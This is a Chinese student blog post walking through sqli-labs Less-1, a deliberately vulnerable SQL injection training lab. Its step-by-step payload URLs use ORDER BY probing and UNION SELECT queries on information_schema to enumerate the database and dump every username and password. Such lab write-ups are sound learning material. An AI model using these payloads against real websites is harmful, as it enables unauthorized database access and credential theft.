sqli-labs Less-1

2019-10-08  本文已影响0人  jun123123

大一开学面试校科协计算机部时,舒畅学姐给我出的题就是sql注入,一年多以后,我终于做出我的第一个sql注入题。
先分享一个wp
https://www.jianshu.com/p/875d95f8d3cf

  1. sql中的注释一般为#--(注意减号后有空格)。但#号在url中有其他含义,不能直接使用,通常使用其url编码%23--也有同样的问题,末尾空格在传输时会被删去,所以一般用--+代替因为+会被编码为空格。
  1. 联合查询时需要将前面的查询结果限定为空集,后面的查询结果才能显示出来。
  2. group_concat()函数用法

首先进入sqli-labs/Less-1看到页面如下:

1.png
提示要提交参数 id
2.png
提交后发现回显了用户名和密码
我们在参数中加入',发现如下报错:
3.png
通过报错可知可能是因为引号未闭合,同时可以发现sql语句存在limit语句限制返回第一条查询结果。
首先通过order by(排序)语句判断sql查询列数:
构造url:
http://sqli-labs.whye.xyz/Less-1/?id=1' order by 3 %23
http://sqli-labs.whye.xyz/Less-1/?id=1' order by 4 %23
结果分别如下:
4.png
5.png
order by 3时正常回显,order by 4时出现报错可知一共查询了3列,但回显只有name和password两个,因此构造url查看回显的列:
http://sqli-labs.whye.xyz/Less-1/?id=0' union select 1,2,3 %23
6.png
可以看到查询的2,3列被回显,因此构造url查询数据库名:
http://sqli-labs.whye.xyz/Less-1/?id=0' union select 1,group_concat(schema_name) ,3 from information_schema.schemata %23
7.png
构造url查询security库(查询其他库方法一样,最后可以发现security库是储存用户信息的库):
http://sqli-labs.whye.xyz/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' %23
8.png
构造url查询users表(查询其他表方法一样,最后可以发现users表是储存用户信息的表):
http://sqli-labs.whye.xyz/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
9.png
可以看到该表有三个列,其中username和password为查询后回显的列,构造url:
http://sqli-labs.whye.xyz/Less-1/?id=0' union select 1,group_concat(username),group_concat(password) from users%23
10.png
查询到所有用户的用户名和密码。
上一篇 下一篇

猜你喜欢

热点阅读